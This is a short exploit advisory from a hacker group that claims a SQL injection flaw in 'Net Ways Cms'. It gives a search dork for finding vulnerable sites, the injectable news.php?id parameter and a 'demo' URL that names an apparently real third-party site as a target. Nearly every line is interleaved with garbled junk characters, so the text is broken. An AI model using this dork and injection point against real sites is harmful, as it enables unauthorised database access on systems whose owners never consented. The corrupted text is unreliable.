################################################################################??########
2 K; b6 @4 F% D5 x1 c3 ?# & C% o9 I5 F: X+ y6 L2 ~
# Exploit Title : Net Ways Cms Sql Injection Vulnerability
( d6 R% t1 d0 K: C9 e! L+ S# 7 S% e: S: ~9 J" Z6 K
# Author : IrIsT.Ir
* I$ @; Y/ @7 W; F: a) O% J#
: s6 b1 S+ o4 \' B# Discovered By : Am!r
& C& p- x1 j# x7 E, e" x1 m6 {#
7 C& o3 r0 r0 K. E- r# Home : http://IrIsT.Ir/forum - b# l: Z8 c6 C1 o. }7 b& N* Q
# / \1 _; r3 K5 R/ j
# Software Link : http://www.netways.com/ www.political-security.com
) P; D7 |1 `( `# . E2 y/ X5 t5 e1 {( C3 _) ~
# Security Risk : High
, _; }% a8 G" {. g# : u- X7 r8 b3 G2 Y
# Version : All Version ; g) ~! ~) _$ Z* i, K6 Q1 ~, H
#
& ^) F. ~4 t- k" m) h9 k* C# Tested on : GNU/Linux Ubuntu - Windows Server - win7 ; I! s4 F6 V; { M* I
# . A' |, C/ D: z7 K4 y9 K# w7 v- ?" B8 R
# Dork : intext:"Designed & developed by NetWays" 5 ]9 P& K$ P3 Z% \8 A3 W, @0 o
# * L+ W% B2 O9 c+ ?
################################################################################??########
4 Q+ Y: J! u% E8 P" O6 x2 N- _#
1 c8 L6 m: F/ O& Q) U. A# Expl0iTs :
) K2 d. u% z) S#
! G$ i. A; @7 j9 Z6 l# http://target.com/news.php?id=[Sql]
# p S( y! u. _: t3 g# _7 ^# & G. ]. y O" E* U1 k
#
' }1 O6 b& W% o/ E; Y# ^# D3mo :
% @! t# h4 ~" U#
" o; \- A% f7 J' z# }/ v# http://compagnieparento.com/news.php?id=7[Sql] - I$ {; n4 a; M7 p; N
# 3 V+ G8 D- a1 Z3 B
################################################################################??######## & Q1 Z$ I( l8 U/ k0 L
#
4 W/ Q1 `3 w# q- M: P# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
- d; Q) _; S% d# 3 _8 M8 j# L4 o+ q
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
1 |. a& Z9 G, U, c#
/ T6 L( ~# o3 O' `0 j3 d7 o$ ~# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum & ~+ U/ g! e9 U" m$ C' b4 g
#
9 A% a& @' W7 F2 B$ ?1 `################################################################################??######## |